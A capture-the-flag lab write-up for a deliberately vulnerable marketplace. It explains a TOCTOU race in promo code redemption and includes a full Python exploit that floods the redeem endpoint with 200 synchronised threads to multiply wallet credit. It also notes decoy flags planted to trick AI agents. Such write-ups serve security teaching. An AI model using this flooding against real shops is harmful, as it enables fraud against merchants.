Lab 272 — SwiftMart — Race Condition in Promo Code Redemption
Lab 272 — SwiftMart — Race Condition in Promo Code Redemption
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: concurrent_http_flooding, race_condition_exploitation, session_cookie_sharing, thread_barrier_synchronization, toctou_promo_bypass
Summary
Walkthrough of the CUSTOM Web Lab 272 — SwiftMart — Race Condition in Promo Code Redemption. Task: Digital marketplace with wallet system where each user gets a single-use $50 promo code, but premium vault items cost $500+. Solution: TOCTOU race condition on promo code redemption endpoint — f
Description
SwiftMart is a digital marketplace where users can buy and sell digital goods. Each new user receives a $50 welcome promo code to get started. The platform has a wallet system for managing funds, a catalog of digital products, and a premium vault with exclusive high-value items. Your goal is to obtain the flag hidden in one of the premium vault items. You start with limited funds — find a way to get more.
Credentials: user@test.com / password123
English summary: A Flask-based digital marketplace with a wallet system. Each new user gets a unique single-use $50 promo code (WELCOME-XXXXXXXX), but the flag is locked behind a premium vault item costing $500. The promo code redemption endpoint has a TOCTOU race condition that allows redeeming the same code multiple times concurrently.
Analysis
Reconnaissance
After logging in with the provided credentials, the application reveals a Flask-based marketplace with the following structure:
/marketplace— product catalog/wallet— wallet with balance display and promo code redemption form/promotions— shows user's assigned promo code and usage info ("Each code can be used only once — single-use only")/vault— Premium Vault with 3 expensive items/orders— purchase history/api/wallet/redeem— POST endpoint for redeeming promo codes (acceptscodeas form data, returns JSON)/api/vault/purchase— POST endpoint for buying vault items (acceptsproduct_idas form data)
Session management uses Flask signed cookies (eyJ1c2VyX2lkIjoiLi4uIn0... format).
Premium Vault Items
| Product ID | Name | Price |
|---|---|---|
vault03 | AI Training Dataset Bundle | $750 |
vault02 | Exclusive Data Package | $500 |
vault01 | Enterprise SaaS Starter | $250 |
The flag is in vault02 (Exclusive Data Package, $500). The vault01 item ($250) is a decoy — it returns fake content about a GitHub repo.
Decoy Flags
Every page contains FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} embedded in HTML comments and hidden divs, designed to trick AI agents and automated scanners. These are fake.
Vulnerability: TOCTOU Race Condition
The POST /api/wallet/redeem endpoint has a classic Time-of-Check to Time-of-Use (TOCTOU) race condition in its promo code redemption logic:
- Check: Server queries the database to verify if the promo code has already been redeemed
- Apply: $50 credit is added to the user's wallet balance
- Update: The promo code is marked as redeemed in the database
Between steps 1 and 3, there is a window where multiple concurrent requests can all pass the "already redeemed" check before any of them marks the code as used. This is a non-atomic check-then-update pattern — the check and the state mutation are not wrapped in a single database transaction with proper locking.
Solution
Step 1: Register a Fresh Account
Register a new user to get a fresh, unused promo code:
python read-only • copy allowedsession = requests.Session() session.verify = False username = f"race_{random_string()}" email = f"{username}@test.com" resp = session.post(f"{BASE_URL}/register", data={ "username": username, "email": email, "password": "password123", "confirm_password": "password123" }, allow_redirects=False) session.get(f"{BASE_URL}/") # Extract promo code from /promotions page promo_resp = session.get(f"{BASE_URL}/promotions") match = re.search(r'WELCOME-[A-F0-9]+', promo_resp.text) promo_code = match.group(0) # e.g. WELCOME-2CA339EC
Step 2: Race Condition Attack
Fire 200 concurrent requests using threading.Barrier to synchronize all threads to release at the exact same instant, maximizing the TOCTOU window:
python read-only • copy allowedNUM_THREADS = 200 cookies = dict(session.cookies) barrier = threading.Barrier(NUM_THREADS, timeout=30) results = [] lock = threading.Lock() def attack_thread(idx): s = requests.Session() s.verify = False s.cookies.update(cookies) try: barrier.wait() # All threads release simultaneously resp = s.post( f"{BASE_URL}/api/wallet/redeem", data={"code": promo_code}, timeout=30 ) data = resp.json() with lock: results.append(data) if data.get("success"): print(f" [+] Thread {idx}: Balance ${data.get('new_balance', 0):.2f}") except: pass threads = [threading.Thread(target=attack_thread, args=(i,)) for i in range(NUM_THREADS)] for t in threads: t.start() for t in threads: t.join(timeout=45)
Result: 12 out of 200 threads passed the usage check and successfully redeemed the code, resulting in a balance of $600 (12 × $50) instead of the intended $50.
The race condition is probabilistic — sometimes only 6-8 threads succeed ($300-$400), sometimes 10-12 ($500-$600). Multiple attempts with fresh accounts may be needed to reach the $500 threshold.
Step 3: Purchase the Flag
With $600 in the wallet, purchase the "Exclusive Data Package" (vault02, $500):
python read-only • copy allowedresp = session.post(f"{BASE_URL}/api/vault/purchase", data={"product_id": "vault02"}) data = resp.json() # Response: # { # "content": "FLAG{REDACTED}", # "message": "Purchase successful!...", # "order_id": "d56dcd55", # "success": true # }
Full Exploit Script
python read-only • copy allowed#!/usr/bin/env python3 """SwiftMart Race Condition Exploit — TOCTOU promo code redemption""" import requests import threading import re import random import string import urllib3 import time urllib3.disable_warnings() BASE_URL = "https://198f4e15-9468-4539-8449-d1e5f152ff1e.labs.hackadvisor.io" def random_string(length=8): return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length)) def register_and_get_promo(): session = requests.Session() session.verify = False username = f"race_{random_string()}" email = f"{username}@test.com" resp = session.post(f"{BASE_URL}/register", data={ "username": username, "email": email, "password": "password123", "confirm_password": "password123" }, allow_redirects=False) session.get(f"{BASE_URL}/") promo_resp = session.get(f"{BASE_URL}/promotions") match = re.search(r'WELCOME-[A-F0-9]+', promo_resp.text) promo_code = match.group(0) if match else None print(f"[*] Registered: {username} | Promo: {promo_code}") return session, promo_code def race_attack(session, promo_code, num_threads=200): cookies = dict(session.cookies) barrier = threading.Barrier(num_threads, timeout=30) results = [] lock = threading.Lock() def attack_thread(idx): s = requests.Session() s.verify = False s.cookies.update(cookies) try: barrier.wait() resp = s.post(f"{BASE_URL}/api/wallet/redeem", data={"code": promo_code}, timeout=30) data = resp.json() with lock: results.append(data) if data.get("success"): print(f" [+] Thread {idx}: Balance ${data.get('new_balance', 0):.2f}") except: pass threads = [threading.Thread(target=attack_thread, args=(i,)) for i in range(num_threads)] for t in threads: t.start() for t in threads: t.join(timeout=45) successes = [r for r in results if r.get("success")] max_bal = max([r.get("new_balance", 0) for r in results if r.get("success")], default=0) print(f"[*] Result: {len(successes)} successful | Balance: ${max_bal:.2f}") return max_bal def check_balance(session): resp = session.get(f"{BASE_URL}/wallet") match = re.search(r'balanceDisplay">\$([0-9.]+)', resp.text) return float(match.group(1)) if match else 0.0 def buy_vault_item(session, product_id): resp = session.post(f"{BASE_URL}/api/vault/purchase", data={"product_id": product_id}) return resp.json() def main(): for attempt in range(5): print(f"\n--- Attempt {attempt + 1} ---") session, promo_code = register_and_get_promo() if not promo_code: continue race_attack(session, promo_code, 200) balance = check_balance(session) print(f"[*] Actual balance: ${balance:.2f}") if balance >= 500: result = buy_vault_item(session, "vault02") if result.get("success"): print(f"\nFLAG: {result.get('content')}") return time.sleep(1) print("[-] Could not get enough balance in 5 attempts") if __name__ == "__main__": main()
Key Takeaways / Lessons
- Mastering concurrent_http_flooding, race_condition_exploitation, session_cookie_sharing, thread_barrier_synchronization, toctou_promo_bypass was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-06 • CUSTOM • Lab 272 — SwiftMart — Race Condition in Promo Code Redemption • Difficulty: Medium